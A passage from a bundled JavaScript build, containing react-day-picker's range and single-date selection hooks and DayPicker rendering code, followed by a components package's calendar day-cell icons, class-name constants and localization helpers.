54915 // node_modules/react-day-picker/dist/esm/utils/rangeContainsModifiers.js
54916 function rangeContainsModifiers(range, modifiers, dateLib = defaultDateLib) {
54917 const matchers = Array.isArray(modifiers) ? modifiers : [modifiers];
54918 const nonFunctionMatchers = matchers.filter((matcher) => typeof matcher !== "function");
54919 const nonFunctionMatchersResult = nonFunctionMatchers.some((matcher) => {
54920 if (typeof matcher === "boolean")
54921 return matcher;
54922 if (dateLib.isDate(matcher)) {
54923 return rangeIncludesDate(range, matcher, false, dateLib);
54924 }
54925 if (isDatesArray(matcher, dateLib)) {
54926 return matcher.some((date) => rangeIncludesDate(range, date, false, dateLib));
54927 }
54928 if (isDateRange(matcher)) {
54929 if (matcher.from && matcher.to) {
54930 return rangeOverlaps(range, { from: matcher.from, to: matcher.to }, dateLib);
54931 }
54932 return false;
54933 }
54934 if (isDayOfWeekType(matcher)) {
54935 return rangeContainsDayOfWeek(range, matcher.dayOfWeek, dateLib);
54936 }
54937 if (isDateInterval(matcher)) {
54938 const isClosedInterval = dateLib.isAfter(matcher.before, matcher.after);
54939 if (isClosedInterval) {
54940 return rangeOverlaps(range, {
54941 from: dateLib.addDays(matcher.after, 1),
54942 to: dateLib.addDays(matcher.before, -1)
54943 }, dateLib);
54944 }
54945 return dateMatchModifiers(range.from, matcher, dateLib) || dateMatchModifiers(range.to, matcher, dateLib);
54946 }
54947 if (isDateAfterType(matcher) || isDateBeforeType(matcher)) {
54948 return dateMatchModifiers(range.from, matcher, dateLib) || dateMatchModifiers(range.to, matcher, dateLib);
54949 }
54950 return false;
54951 });
54952 if (nonFunctionMatchersResult) {
54953 return true;
54954 }
54955 const functionMatchers = matchers.filter((matcher) => typeof matcher === "function");
54956 if (functionMatchers.length) {
54957 let date = range.from;
54958 const totalDays = dateLib.differenceInCalendarDays(range.to, range.from);
54959 for (let i3 = 0; i3 <= totalDays; i3++) {
54960 if (functionMatchers.some((matcher) => matcher(date))) {
54961 return true;
54962 }
54963 date = dateLib.addDays(date, 1);
54964 }
54965 }
54966 return false;
54967 }
54968
54969 // node_modules/react-day-picker/dist/esm/selection/useRange.js
54970 function useRange(props, dateLib) {
54971 const { disabled, excludeDisabled, selected: initiallySelected, required, onSelect } = props;
54972 const [internallySelected, setSelected] = useControlledValue2(initiallySelected, onSelect ? initiallySelected : void 0);
54973 const selected = !onSelect ? internallySelected : initiallySelected;
54974 const isSelected2 = (date) => selected && rangeIncludesDate(selected, date, false, dateLib);
54975 const select = (triggerDate, modifiers, e3) => {
54976 const { min: min3, max: max3 } = props;
54977 const newRange = triggerDate ? addToRange(triggerDate, selected, min3, max3, required, dateLib) : void 0;
54978 if (excludeDisabled && disabled && newRange?.from && newRange.to) {
54979 if (rangeContainsModifiers({ from: newRange.from, to: newRange.to }, disabled, dateLib)) {
54980 newRange.from = triggerDate;
54981 newRange.to = void 0;
54982 }
54983 }
54984 if (!onSelect) {
54985 setSelected(newRange);
54986 }
54987 onSelect?.(newRange, triggerDate, modifiers, e3);
54988 return newRange;
54989 };
54990 return {
54991 selected,
54992 select,
54993 isSelected: isSelected2
54994 };
54995 }
54996
54997 // node_modules/react-day-picker/dist/esm/selection/useSingle.js
54998 function useSingle(props, dateLib) {
54999 const { selected: initiallySelected, required, onSelect } = props;
55000 const [internallySelected, setSelected] = useControlledValue2(initiallySelected, onSelect ? initiallySelected : void 0);
55001 const selected = !onSelect ? internallySelected : initiallySelected;
55002 const { isSameDay: isSameDay3 } = dateLib;
55003 const isSelected2 = (compareDate) => {
55004 return selected ? isSameDay3(selected, compareDate) : false;
55005 };
55006 const select = (triggerDate, modifiers, e3) => {
55007 let newDate = triggerDate;
55008 if (!required && selected && selected && isSameDay3(triggerDate, selected)) {
55009 newDate = void 0;
55010 }
55011 if (!onSelect) {
55012 setSelected(newDate);
55013 }
55014 if (required) {
55015 onSelect?.(newDate, triggerDate, modifiers, e3);
55016 } else {
55017 onSelect?.(newDate, triggerDate, modifiers, e3);
55018 }
55019 return newDate;
55020 };
55021 return {
55022 selected,
55023 select,
55024 isSelected: isSelected2
55025 };
55026 }
55027
55028 // node_modules/react-day-picker/dist/esm/useSelection.js
55029 function useSelection(props, dateLib) {
55030 const single = useSingle(props, dateLib);
55031 const multi = useMulti(props, dateLib);
55032 const range = useRange(props, dateLib);
55033 switch (props.mode) {
55034 case "single":
55035 return single;
55036 case "multiple":
55037 return multi;
55038 case "range":
55039 return range;
55040 default:
55041 return void 0;
55042 }
55043 }
55044
55045 // node_modules/react-day-picker/dist/esm/DayPicker.js
55046 function DayPicker(initialProps) {
55047 let props = initialProps;
55048 if (props.timeZone) {
55049 props = {
55050 ...initialProps
55051 };
55052 if (props.today) {
55053 props.today = new TZDate(props.today, props.timeZone);
55054 }
55055 if (props.month) {
55056 props.month = new TZDate(props.month, props.timeZone);
55057 }
55058 if (props.defaultMonth) {
55059 props.defaultMonth = new TZDate(props.defaultMonth, props.timeZone);
55060 }
55061 if (props.startMonth) {
55062 props.startMonth = new TZDate(props.startMonth, props.timeZone);
55063 }
55064 if (props.endMonth) {
55065 props.endMonth = new TZDate(props.endMonth, props.timeZone);
55066 }
55067 if (props.mode === "single" && props.selected) {
55068 props.selected = new TZDate(props.selected, props.timeZone);
55069 } else if (props.mode === "multiple" && props.selected) {
55070 props.selected = props.selected?.map((date) => new TZDate(date, props.timeZone));
55071 } else if (props.mode === "range" && props.selected) {
55072 props.selected = {
55073 from: props.selected.from ? new TZDate(props.selected.from, props.timeZone) : void 0,
55074 to: props.selected.to ? new TZDate(props.selected.to, props.timeZone) : void 0
55075 };
55076 }
55077 }
55078 const { components, formatters: formatters2, labels, dateLib, locale, classNames } = (0, import_react163.useMemo)(() => {
55079 const locale2 = { ...enUS, ...props.locale };
55080 const dateLib2 = new DateLib({
55081 locale: locale2,
55082 weekStartsOn: props.broadcastCalendar ? 1 : props.weekStartsOn,
55083 firstWeekContainsDate: props.firstWeekContainsDate,
55084 useAdditionalWeekYearTokens: props.useAdditionalWeekYearTokens,
55085 useAdditionalDayOfYearTokens: props.useAdditionalDayOfYearTokens,
55086 timeZone: props.timeZone,
55087 numerals: props.numerals
55088 }, props.dateLib);
55089 return {
55090 dateLib: dateLib2,
55091 components: getComponents(props.components),
55092 formatters: getFormatters(props.formatters),
55093 labels: { ...labels_exports, ...props.labels },
55094 locale: locale2,
55095 classNames: { ...getDefaultClassNames(), ...props.classNames }
55096 };
55097 }, [
55098 props.locale,
55099 props.broadcastCalendar,
55100 props.weekStartsOn,
55101 props.firstWeekContainsDate,
55102 props.useAdditionalWeekYearTokens,
55103 props.useAdditionalDayOfYearTokens,
55104 props.timeZone,
55105 props.numerals,
55106 props.dateLib,
55107 props.components,
55108 props.formatters,
55109 props.labels,
55110 props.classNames
55111 ]);
55112 const { captionLayout, mode: mode2, navLayout, numberOfMonths = 1, onDayBlur, onDayClick, onDayFocus, onDayKeyDown, onDayMouseEnter, onDayMouseLeave, onNextClick, onPrevClick, showWeekNumber, styles: styles3 } = props;
55113 const { formatCaption: formatCaption2, formatDay: formatDay2, formatMonthDropdown: formatMonthDropdown2, formatWeekNumber: formatWeekNumber2, formatWeekNumberHeader: formatWeekNumberHeader2, formatWeekdayName: formatWeekdayName2, formatYearDropdown: formatYearDropdown2 } = formatters2;
55114 const calendar = useCalendar(props, dateLib);
55115 const { days, months, navStart, navEnd, previousMonth, nextMonth, goToMonth } = calendar;
55116 const getModifiers = createGetModifiers(days, props, dateLib);
55117 const { isSelected: isSelected2, select, selected: selectedValue } = useSelection(props, dateLib) ?? {};
55118 const { blur, focused, isFocusTarget, moveFocus, setFocused } = useFocus(props, calendar, getModifiers, isSelected2 ?? (() => false), dateLib);
55119 const { labelDayButton: labelDayButton2, labelGridcell: labelGridcell2, labelGrid: labelGrid2, labelMonthDropdown: labelMonthDropdown2, labelNav: labelNav2, labelPrevious: labelPrevious2, labelNext: labelNext2, labelWeekday: labelWeekday2, labelWeekNumber: labelWeekNumber2, labelWeekNumberHeader: labelWeekNumberHeader2, labelYearDropdown: labelYearDropdown2 } = labels;
55120 const weekdays = (0, import_react163.useMemo)(() => getWeekdays(dateLib, props.ISOWeek), [dateLib, props.ISOWeek]);
55121 const isInteractive = mode2 !== void 0 || onDayClick !== void 0;
55122 const handlePreviousClick = (0, import_react163.useCallback)(() => {
55123 if (!previousMonth)
55124 return;
55125 goToMonth(previousMonth);
55126 onPrevClick?.(previousMonth);
55127 }, [previousMonth, goToMonth, onPrevClick]);
55128 const handleNextClick = (0, import_react163.useCallback)(() => {
55129 if (!nextMonth)
55130 return;
55131 goToMonth(nextMonth);
55132 onNextClick?.(nextMonth);
55133 }, [goToMonth, nextMonth, onNextClick]);
55134 const handleDayClick = (0, import_react163.useCallback)((day, m3) => (e3) => {
55135 e3.preventDefault();
55136 e3.stopPropagation();
55137 setFocused(day);
55138 select?.(day.date, m3, e3);
55139 onDayClick?.(day.date, m3, e3);
55140 }, [select, onDayClick, setFocused]);
55141 const handleDayFocus = (0, import_react163.useCallback)((day, m3) => (e3) => {
55142 setFocused(day);
55143 onDayFocus?.(day.date, m3, e3);
55144 }, [onDayFocus, setFocused]);
55145 const handleDayBlur = (0, import_react163.useCallback)((day, m3) => (e3) => {
55146 blur();
55147 onDayBlur?.(day.date, m3, e3);
55148 }, [blur, onDayBlur]);
55149 const handleDayKeyDown = (0, import_react163.useCallback)((day, modifiers) => (e3) => {
55150 const keyMap = {
55151 ArrowLeft: ["day", props.dir === "rtl" ? "after" : "before"],
55152 ArrowRight: ["day", props.dir === "rtl" ? "before" : "after"],
55153 ArrowDown: ["week", "after"],
55154 ArrowUp: ["week", "before"],
55155 PageUp: [e3.shiftKey ? "year" : "month", "before"],
55156 PageDown: [e3.shiftKey ? "year" : "month", "after"],
55157 Home: ["startOfWeek", "before"],
55158 End: ["endOfWeek", "after"]
55159 };
55160 if (keyMap[e3.key]) {
55161 e3.preventDefault();
55162 e3.stopPropagation();
55163 const [moveBy, moveDir] = keyMap[e3.key];
55164 moveFocus(moveBy, moveDir);
55165 }
55166 onDayKeyDown?.(day.date, modifiers, e3);
55167 }, [moveFocus, onDayKeyDown, props.dir]);
55168 const handleDayMouseEnter = (0, import_react163.useCallback)((day, modifiers) => (e3) => {
55169 onDayMouseEnter?.(day.date, modifiers, e3);
55170 }, [onDayMouseEnter]);
55171 const handleDayMouseLeave = (0, import_react163.useCallback)((day, modifiers) => (e3) => {
55172 onDayMouseLeave?.(day.date, modifiers, e3);
55173 }, [onDayMouseLeave]);
55174 const handleMonthChange = (0, import_react163.useCallback)((date) => (e3) => {
55175 const selectedMonth = Number(e3.target.value);
55176 const month = dateLib.setMonth(dateLib.startOfMonth(date), selectedMonth);
55177 goToMonth(month);
55178 }, [dateLib, goToMonth]);
55179 const handleYearChange = (0, import_react163.useCallback)((date) => (e3) => {
55180 const selectedYear = Number(e3.target.value);
55181 const month = dateLib.setYear(dateLib.startOfMonth(date), selectedYear);
55182 goToMonth(month);
55183 }, [dateLib, goToMonth]);
55184 const { className: className2, style: style2 } = (0, import_react163.useMemo)(() => ({
55185 className: [classNames[UI2.Root], props.className].filter(Boolean).join(" "),
55186 style: { ...styles3?.[UI2.Root], ...props.style }
55187 }), [classNames, props.className, props.style, styles3]);
55188 const dataAttributes = getDataAttributes(props);
55189 const rootElRef = (0, import_react163.useRef)(null);
55190 useAnimation(rootElRef, Boolean(props.animate), {
55191 classNames,
55192 months,
55193 focused,
55194 dateLib
55195 });
55196 const contextValue = {
55197 dayPickerProps: props,
55198 selected: selectedValue,
55199 select,
55200 isSelected: isSelected2,
55201 months,
55202 nextMonth,
55203 previousMonth,
55204 goToMonth,
55205 getModifiers,
55206 components,
55207 classNames,
55208 styles: styles3,
55209 labels,
55210 formatters: formatters2
55211 };
55212 return import_react163.default.createElement(
55213 dayPickerContext.Provider,
55214 { value: contextValue },
55215 import_react163.default.createElement(
55216 components.Root,
55217 { rootRef: props.animate ? rootElRef : void 0, className: className2, style: style2, dir: props.dir, id: props.id, lang: props.lang, nonce: props.nonce, title: props.title, role: props.role, "aria-label": props["aria-label"], ...dataAttributes },
55218 import_react163.default.createElement(
55219 components.Months,
55220 { className: classNames[UI2.Months], style: styles3?.[UI2.Months] },
55221 !props.hideNavigation && !navLayout && import_react163.default.createElement(components.Nav, { "data-animated-nav": props.animate ? "true" : void 0, className: classNames[UI2.Nav], style: styles3?.[UI2.Nav], "aria-label": labelNav2(), onPreviousClick: handlePreviousClick, onNextClick: handleNextClick, previousMonth, nextMonth }),
55222 months.map((calendarMonth, displayIndex) => {
55223 const dropdownMonths = getMonthOptions(calendarMonth.date, navStart, navEnd, formatters2, dateLib);
55224 const dropdownYears = getYearOptions(navStart, navEnd, formatters2, dateLib);
55225 return import_react163.default.createElement(
55226 components.Month,
55227 { "data-animated-month": props.animate ? "true" : void 0, className: classNames[UI2.Month], style: styles3?.[UI2.Month], key: displayIndex, displayIndex, calendarMonth },
55228 navLayout === "around" && !props.hideNavigation && displayIndex === 0 && import_react163.default.createElement(
55229 components.PreviousMonthButton,
55230 { type: "button", className: classNames[UI2.PreviousMonthButton], tabIndex: previousMonth ? void 0 : -1, "aria-disabled": previousMonth ? void 0 : true, "aria-label": labelPrevious2(previousMonth), onClick: handlePreviousClick, "data-animated-button": props.animate ? "true" : void 0 },
55231 import_react163.default.createElement(components.Chevron, { disabled: previousMonth ? void 0 : true, className: classNames[UI2.Chevron], orientation: props.dir === "rtl" ? "right" : "left" })
55232 ),
55233 import_react163.default.createElement(components.MonthCaption, { "data-animated-caption": props.animate ? "true" : void 0, className: classNames[UI2.MonthCaption], style: styles3?.[UI2.MonthCaption], calendarMonth, displayIndex }, captionLayout?.startsWith("dropdown") ? import_react163.default.createElement(
55234 components.DropdownNav,
55235 { className: classNames[UI2.Dropdowns], style: styles3?.[UI2.Dropdowns] },
55236 captionLayout === "dropdown" || captionLayout === "dropdown-months" ? import_react163.default.createElement(components.MonthsDropdown, { className: classNames[UI2.MonthsDropdown], "aria-label": labelMonthDropdown2(), classNames, components, disabled: Boolean(props.disableNavigation), onChange: handleMonthChange(calendarMonth.date), options: dropdownMonths, style: styles3?.[UI2.Dropdown], value: dateLib.getMonth(calendarMonth.date) }) : import_react163.default.createElement("span", null, formatMonthDropdown2(calendarMonth.date, dateLib)),
55237 captionLayout === "dropdown" || captionLayout === "dropdown-years" ? import_react163.default.createElement(components.YearsDropdown, { className: classNames[UI2.YearsDropdown], "aria-label": labelYearDropdown2(dateLib.options), classNames, components, disabled: Boolean(props.disableNavigation), onChange: handleYearChange(calendarMonth.date), options: dropdownYears, style: styles3?.[UI2.Dropdown], value: dateLib.getYear(calendarMonth.date) }) : import_react163.default.createElement("span", null, formatYearDropdown2(calendarMonth.date, dateLib)),
55238 import_react163.default.createElement("span", { role: "status", "aria-live": "polite", style: {
55239 border: 0,
55240 clip: "rect(0 0 0 0)",
55241 height: "1px",
55242 margin: "-1px",
55243 overflow: "hidden",
55244 padding: 0,
55245 position: "absolute",
55246 width: "1px",
55247 whiteSpace: "nowrap",
55248 wordWrap: "normal"
55249 } }, formatCaption2(calendarMonth.date, dateLib.options, dateLib))
55250 ) : import_react163.default.createElement(components.CaptionLabel, { className: classNames[UI2.CaptionLabel], role: "status", "aria-live": "polite" }, formatCaption2(calendarMonth.date, dateLib.options, dateLib))),
55251 navLayout === "around" && !props.hideNavigation && displayIndex === numberOfMonths - 1 && import_react163.default.createElement(
55252 components.NextMonthButton,
55253 { type: "button", className: classNames[UI2.NextMonthButton], tabIndex: nextMonth ? void 0 : -1, "aria-disabled": nextMonth ? void 0 : true, "aria-label": labelNext2(nextMonth), onClick: handleNextClick, "data-animated-button": props.animate ? "true" : void 0 },
55254 import_react163.default.createElement(components.Chevron, { disabled: nextMonth ? void 0 : true, className: classNames[UI2.Chevron], orientation: props.dir === "rtl" ? "left" : "right" })
55255 ),
55256 displayIndex === numberOfMonths - 1 && navLayout === "after" && !props.hideNavigation && import_react163.default.createElement(components.Nav, { "data-animated-nav": props.animate ? "true" : void 0, className: classNames[UI2.Nav], style: styles3?.[UI2.Nav], "aria-label": labelNav2(), onPreviousClick: handlePreviousClick, onNextClick: handleNextClick, previousMonth, nextMonth }),
55257 import_react163.default.createElement(
55258 components.MonthGrid,
55259 { role: "grid", "aria-multiselectable": mode2 === "multiple" || mode2 === "range", "aria-label": labelGrid2(calendarMonth.date, dateLib.options, dateLib) || void 0, className: classNames[UI2.MonthGrid], style: styles3?.[UI2.MonthGrid] },
55260 !props.hideWeekdays && import_react163.default.createElement(
55261 components.Weekdays,
55262 { "data-animated-weekdays": props.animate ? "true" : void 0, className: classNames[UI2.Weekdays], style: styles3?.[UI2.Weekdays] },
55263 showWeekNumber && import_react163.default.createElement(components.WeekNumberHeader, { "aria-label": labelWeekNumberHeader2(dateLib.options), className: classNames[UI2.WeekNumberHeader], style: styles3?.[UI2.WeekNumberHeader], scope: "col" }, formatWeekNumberHeader2()),
55264 weekdays.map((weekday, i3) => import_react163.default.createElement(components.Weekday, { "aria-label": labelWeekday2(weekday, dateLib.options, dateLib), className: classNames[UI2.Weekday], key: i3, style: styles3?.[UI2.Weekday], scope: "col" }, formatWeekdayName2(weekday, dateLib.options, dateLib)))
55265 ),
55266 import_react163.default.createElement(components.Weeks, { "data-animated-weeks": props.animate ? "true" : void 0, className: classNames[UI2.Weeks], style: styles3?.[UI2.Weeks] }, calendarMonth.weeks.map((week, weekIndex) => {
55267 return import_react163.default.createElement(
55268 components.Week,
55269 { className: classNames[UI2.Week], key: week.weekNumber, style: styles3?.[UI2.Week], week },
55270 showWeekNumber && import_react163.default.createElement(components.WeekNumber, { week, style: styles3?.[UI2.WeekNumber], "aria-label": labelWeekNumber2(week.weekNumber, {
55271 locale
55272 }), className: classNames[UI2.WeekNumber], scope: "row", role: "rowheader" }, formatWeekNumber2(week.weekNumber, dateLib)),
55273 week.days.map((day) => {
55274 const { date } = day;
55275 const modifiers = getModifiers(day);
55276 modifiers[DayFlag.focused] = !modifiers.hidden && Boolean(focused?.isEqualTo(day));
55277 modifiers[SelectionState.selected] = isSelected2?.(date) || modifiers.selected;
55278 if (isDateRange(selectedValue)) {
55279 const { from: from2, to } = selectedValue;
55280 modifiers[SelectionState.range_start] = Boolean(from2 && to && dateLib.isSameDay(date, from2));
55281 modifiers[SelectionState.range_end] = Boolean(from2 && to && dateLib.isSameDay(date, to));
55282 modifiers[SelectionState.range_middle] = rangeIncludesDate(selectedValue, date, true, dateLib);
55283 }
55284 const style3 = getStyleForModifiers(modifiers, styles3, props.modifiersStyles);
55285 const className3 = getClassNamesForModifiers(modifiers, classNames, props.modifiersClassNames);
55286 const ariaLabel = !isInteractive && !modifiers.hidden ? labelGridcell2(date, modifiers, dateLib.options, dateLib) : void 0;
55287 return import_react163.default.createElement(components.Day, { key: `${dateLib.format(date, "yyyy-MM-dd")}_${dateLib.format(day.displayMonth, "yyyy-MM")}`, day, modifiers, className: className3.join(" "), style: style3, role: "gridcell", "aria-selected": modifiers.selected || void 0, "aria-label": ariaLabel, "data-day": dateLib.format(date, "yyyy-MM-dd"), "data-month": day.outside ? dateLib.format(date, "yyyy-MM") : void 0, "data-selected": modifiers.selected || void 0, "data-disabled": modifiers.disabled || void 0, "data-hidden": modifiers.hidden || void 0, "data-outside": day.outside || void 0, "data-focused": modifiers.focused || void 0, "data-today": modifiers.today || void 0 }, !modifiers.hidden && isInteractive ? import_react163.default.createElement(components.DayButton, { className: classNames[UI2.DayButton], style: styles3?.[UI2.DayButton], type: "button", day, modifiers, disabled: modifiers.disabled || void 0, tabIndex: isFocusTarget(day) ? 0 : -1, "aria-label": labelDayButton2(date, modifiers, dateLib.options, dateLib), onClick: handleDayClick(day, modifiers), onBlur: handleDayBlur(day, modifiers), onFocus: handleDayFocus(day, modifiers), onKeyDown: handleDayKeyDown(day, modifiers), onMouseEnter: handleDayMouseEnter(day, modifiers), onMouseLeave: handleDayMouseLeave(day, modifiers) }, formatDay2(date, dateLib.options, dateLib)) : !modifiers.hidden && formatDay2(day.date, dateLib.options, dateLib));
55288 })
55289 );
55290 }))
55291 )
55292 );
55293 })
55294 ),
55295 props.footer && import_react163.default.createElement(components.Footer, { className: classNames[UI2.Footer], style: styles3?.[UI2.Footer], role: "status", "aria-live": "polite" }, props.footer)
55296 )
55297 );
55298 }
55299
55300 // packages/components/build-module/calendar/date-calendar/index.mjs
55301 var import_element244 = __toESM(require_element(), 1);
55302
55303 // packages/components/build-module/calendar/utils/day-cell.mjs
55304 var import_jsx_runtime318 = __toESM(require_jsx_runtime(), 1);
55305 var PreviewDashStartAndEnd = () => {
55306 return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("svg", {
55307 viewBox: "0 0 32 32",
55308 xmlns: "http://www.w3.org/2000/svg",
55309 fill: "none",
55310 stroke: "currentColor",
55311 strokeDasharray: "3.7677",
55312 strokeDashoffset: "3.2",
55313 strokeWidth: "1",
55314 children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("path", {
55315 d: "M29.5,0.5 h-27 a2,2 0 0 0 -2,2 v27 a2,2 0 0 0 2,2 h27 a2,2 0 0 0 2,-2 v-27 a2,2 0 0 0 -2,-2"
55316 })
55317 });
55318 };
55319 var PreviewDashStart = () => {
55320 return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("svg", {
55321 viewBox: "0 0 32 32",
55322 xmlns: "http://www.w3.org/2000/svg",
55323 fill: "none",
55324 stroke: "currentColor",
55325 strokeDasharray: "3.84516",
55326 strokeDashoffset: "1.9226",
55327 strokeWidth: "1",
55328 children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("path", {
55329 d: "M32,0.5 h-29.5 a2,2 0 0 0 -2,2 v27 a2,2 0 0 0 2,2 h30"
55330 })
55331 });
55332 };
55333 var PreviewDashMiddle = () => {
55334 return /* @__PURE__ */ (0, import_jsx_runtime318.jsxs)("svg", {
55335 viewBox: "0 0 32 32",
55336 xmlns: "http://www.w3.org/2000/svg",
55337 fill: "none",
55338 stroke: "currentColor",
55339 strokeDasharray: "3.9 4",
55340 strokeDashoffset: "2",
55341 strokeWidth: "1",
55342 children: [/* @__PURE__ */ (0, import_jsx_runtime318.jsx)("line", {
55343 x1: "0",
55344 y1: "0.5",
55345 x2: "100",
55346 y2: "0.5"
55347 }), /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("line", {
55348 x1: "0",
55349 y1: "31.5",
55350 x2: "100",
55351 y2: "31.5"
55352 })]
55353 });
55354 };
55355 var PreviewDashEnd = () => {
55356 return /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("svg", {
55357 viewBox: "0 0 32 32",
55358 xmlns: "http://www.w3.org/2000/svg",
55359 fill: "none",
55360 stroke: "currentColor",
55361 strokeDasharray: "3.84516",
55362 strokeDashoffset: "1.9226",
55363 strokeWidth: "1",
55364 children: /* @__PURE__ */ (0, import_jsx_runtime318.jsx)("path", {
55365 d: "M0,0.5 h29.5 a2,2 0 0 1 2,2 v27 a2,2 0 0 1 -2,2 h-29.5"
55366 })
55367 });
55368 };
55369 function Day4(props) {
55370 const {
55371 day,
55372 modifiers,
55373 children,
55374 ...tdProps
55375 } = props;
55376 let PreviewDash;
55377 if (modifiers.preview_start && modifiers.preview_end) {
55378 PreviewDash = PreviewDashStartAndEnd;
55379 } else if (modifiers.preview_start) {
55380 PreviewDash = PreviewDashStart;
55381 } else if (modifiers.preview_end) {
55382 PreviewDash = PreviewDashEnd;
55383 } else if (modifiers.preview) {
55384 PreviewDash = PreviewDashMiddle;
55385 }
55386 return /* @__PURE__ */ (0, import_jsx_runtime318.jsxs)("td", {
55387 ...tdProps,
55388 children: [PreviewDash && /* @__PURE__ */ (0, import_jsx_runtime318.jsx)(PreviewDash, {}), children]
55389 });
55390 }
55391
55392 // packages/components/build-module/calendar/utils/constants.mjs
55393 var CLASSNAMES = {
55394 root: "components-calendar",
55395 day: "components-calendar__day",
55396 day_button: "components-calendar__day-button",
55397 caption_label: "components-calendar__caption-label",
55398 button_next: "components-calendar__button-next",
55399 button_previous: "components-calendar__button-previous",
55400 chevron: "components-calendar__chevron",
55401 nav: "components-calendar__nav",
55402 month_caption: "components-calendar__month-caption",
55403 months: "components-calendar__months",
55404 month_grid: "components-calendar__month-grid",
55405 weekday: "components-calendar__weekday",
55406 today: "components-calendar__day--today",
55407 selected: "components-calendar__day--selected",
55408 disabled: "components-calendar__day--disabled",
55409 hidden: "components-calendar__day--hidden",
55410 range_start: "components-calendar__range-start",
55411 range_end: "components-calendar__range-end",
55412 range_middle: "components-calendar__range-middle",
55413 weeks_before_enter: "components-calendar__weeks-before-enter",
55414 weeks_before_exit: "components-calendar__weeks-before-exit",
55415 weeks_after_enter: "components-calendar__weeks-after-enter",
55416 weeks_after_exit: "components-calendar__weeks-after-exit",
55417 caption_after_enter: "components-calendar__caption-after-enter",
55418 caption_after_exit: "components-calendar__caption-after-exit",
55419 caption_before_enter: "components-calendar__caption-before-enter",
55420 caption_before_exit: "components-calendar__caption-before-exit"
55421 };
55422 var MODIFIER_CLASSNAMES = {
55423 preview: "components-calendar__day--preview",
55424 preview_start: "components-calendar__day--preview-start",
55425 preview_end: "components-calendar__day--preview-end"
55426 };
55427 var COMMON_PROPS = {
55428 animate: true,
55429 // Only show days in the current month
55430 showOutsideDays: false,
55431 // Hide week number column
55432 showWeekNumber: false,
55433 // Show weekdays row
55434 hideWeekdays: false,
55435 // Month and year caption are not interactive
55436 captionLayout: "label",
55437 // Show a variable number of weeks depending on the month
55438 fixedWeeks: false,
55439 // Show navigation buttons
55440 hideNavigation: false,
55441 // Class names
55442 classNames: CLASSNAMES,
55443 // Default role
55444 role: "application",
55445 components: {
55446 Day: Day4
55447 }
55448 };
55449
55450 // packages/components/build-module/calendar/utils/misc.mjs
55451 function clampNumberOfMonths(numberOfMonths) {
55452 return Math.min(3, Math.max(1, numberOfMonths));
55453 }
55454
55455 // packages/components/build-module/calendar/utils/use-localization-props.mjs
55456 var import_i18n81 = __toESM(require_i18n(), 1);
55457 var import_element243 = __toESM(require_element(), 1);
55458 function isLocaleRTL(localeCode) {
55459 const localeObj = new Intl.Locale(localeCode);
55460 if ("getTextInfo" in localeObj) {
55461 return localeObj.getTextInfo().direction === "rtl";
55462 }
55463 return [
55464 "ar",
55465 // Arabic
55466 "he",
55467 // Hebrew
55468 "fa",
55469 // Persian (Farsi)
55470 "ur",
55471 // Urdu
55472 "ps",
55473 // Pashto
55474 "syr",
55475 // Syriac
55476 "dv",
55477 // Divehi
55478 "ku",
55479 // Kurdish (Sorani)
55480 "yi"
55481 // Yiddish
55482 ].includes(localeObj.language);
55483 }
55484 var useLocalizationProps = ({
55485 locale,
55486 timeZone,
55487 mode: mode2
55488 }) => {
55489 return (0, import_element243.useMemo)(() => {
55490 const monthNameFormatter = new Intl.DateTimeFormat(locale.code, {
55491 year: "numeric",
55492 month: "long",
55493 timeZone
55494 });
55495 const weekdayNarrowFormatter = new Intl.DateTimeFormat(locale.code, {
55496 weekday: "narrow",
55497 timeZone
55498 });
55499 const weekdayLongFormatter = new Intl.DateTimeFormat(locale.code, {
55500 weekday: "long",
55501 timeZone
55502 });
55503 const fullDateFormatter = new Intl.DateTimeFormat(locale.code, {
55504 weekday: "long",
55505 year: "numeric",
55506 month: "long",
55507 day: "numeric",
55508 timeZone
55509 });
55510 return {
55511 "aria-label": mode2 === "single" ? (0, import_i18n81.__)("Date calendar") : (0, import_i18n81.__)("Date range calendar"),
55512 labels: {
55513 /**
55514 * The label for the month grid.
55515 * @param date
55516 */
55517 labelGrid: (date) => monthNameFormatter.format(date),
55518 /**
55519 * The label for the gridcell, when the calendar is not interactive.
55520 * @param date
55521 * @param modifiers
55522 */
55523 labelGridcell: (date, modifiers) => {
55524 const formattedDate = fullDateFormatter.format(date);
55525 let label = formattedDate;
55526 if (modifiers?.today) {
55527 label = (0, import_i18n81.sprintf)(
55528 // translators: %s is the full date (e.g. "Monday, April 29, 2025")
55529 (0, import_i18n81.__)("Today, %s"),
55530 formattedDate
55531 );
55532 }
55533 return label;
55534 },
55535 /** The label for the "next month" button. */
55536 labelNext: () => (0, import_i18n81.__)("Go to the Next Month"),
55537 /** The label for the "previous month" button. */
55538 labelPrevious: () => (0, import_i18n81.__)("Go to the Previous Month"),
55539 /**
55540 * The label for the day button.
55541 * @param date
55542 * @param modifiers
55543 */
55544 labelDayButton: (date, modifiers) => {
55545 const formattedDate = fullDateFormatter.format(date);
55546 let label = formattedDate;
55547 if (modifiers?.today) {
55548 label = (0, import_i18n81.sprintf)(
55549 // translators: %s is the full date (e.g. "Monday, April 29, 2025")
55550 (0, import_i18n81.__)("Today, %s"),
55551 formattedDate
55552 );
55553 }
55554 if (modifiers?.selected) {
55555 label = (0, import_i18n81.sprintf)(
55556 // translators: %s is the full date (e.g. "Monday, April 29, 2025")
55557 (0, import_i18n81.__)("%s, selected"),
55558 formattedDate
55559 );
55560 }
55561 return label;
55562 },
55563 /**
55564 * The label for the weekday.
55565 * @param date
55566 */
55567 labelWeekday: (date) => weekdayLongFormatter.format(date)
55568 },
55569 locale,
55570 dir: isLocaleRTL(locale.code) ? "rtl" : "ltr",
55571 formatters: {
55572 formatWeekdayName: (date) => {
55573 return weekdayNarrowFormatter.format(date);
55574 },
55575 formatCaption: (date) => {
55576 return monthNameFormatter.format(date);
55577 }
55578 },
55579 timeZone
55580 };
55581 }, [locale, timeZone, mode2]);
55582 };
55583
55584 // packages/components/build-module/calendar/date-calendar/index.mjs
55585 var import_jsx_runtime319 = __toESM(require_jsx_runtime(), 1);
55586 var DateCalendar = ({
55587 defaultSelected,
55588 selected: selectedProp,
55589 onSelect,
55590 numberOfMonths = 1,
55591 locale = enUS,
55592 timeZone,
